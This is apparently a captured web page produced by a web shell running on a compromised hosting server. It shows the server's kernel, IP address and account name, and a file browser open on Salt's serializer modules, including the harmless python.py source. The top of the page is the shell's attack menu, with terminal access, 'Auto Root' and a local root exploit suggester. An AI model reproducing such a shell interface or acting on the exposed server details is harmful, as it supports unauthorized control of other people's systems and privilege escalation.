Linux server.edchosting.com 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
LiteSpeed
Server IP : 75.98.162.185 & Your IP : 216.73.216.163
Domains :
Cant Read [ /etc/named.conf ]
User : goons4good
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib /
python3.6 /
site-packages /
salt /
serializers /
Delete
Unzip
Name
Size
Permission
Date
Action
__pycache__
[ DIR ]
drwxr-xr-x
2022-10-11 05:09
__init__.py
723
B
-rw-r--r--
2022-05-16 09:16
configparser.py
2.42
KB
-rw-r--r--
2022-05-16 09:16
json.py
1.65
KB
-rw-r--r--
2022-05-16 09:16
msgpack.py
3.34
KB
-rw-r--r--
2022-05-16 09:16
plist.py
2.07
KB
-rw-r--r--
2022-05-16 09:16
python.py
973
B
-rw-r--r--
2022-05-16 09:16
toml.py
1.43
KB
-rw-r--r--
2022-05-16 09:16
yaml.py
4.89
KB
-rw-r--r--
2022-05-16 09:16
yamlex.py
12.63
KB
-rw-r--r--
2022-05-16 09:16
Save
Rename
""" salt.serializers.python ~~~~~~~~~~~~~~~~~~~~~~~~~~~ .. versionadded:: 2016.3.0 Implements a Python serializer (via pprint.format) """ import pprint import salt.utils.json try: import simplejson as _json except ImportError: import json as _json # pylint: disable=blacklisted-import __all__ = ["serialize", "available"] available = True def serialize(obj, **options): """ Serialize Python data to a Python string representation (via pprint.format) :param obj: the data structure to serialize :param options: options given to pprint.format """ # round-trip this through JSON to avoid OrderedDict types # there's probably a more performant way to do this... # TODO remove json round-trip when all dataset will use # serializers return pprint.pformat( salt.utils.json.loads( salt.utils.json.dumps(obj, _json_module=_json), _json_module=_json ), **options )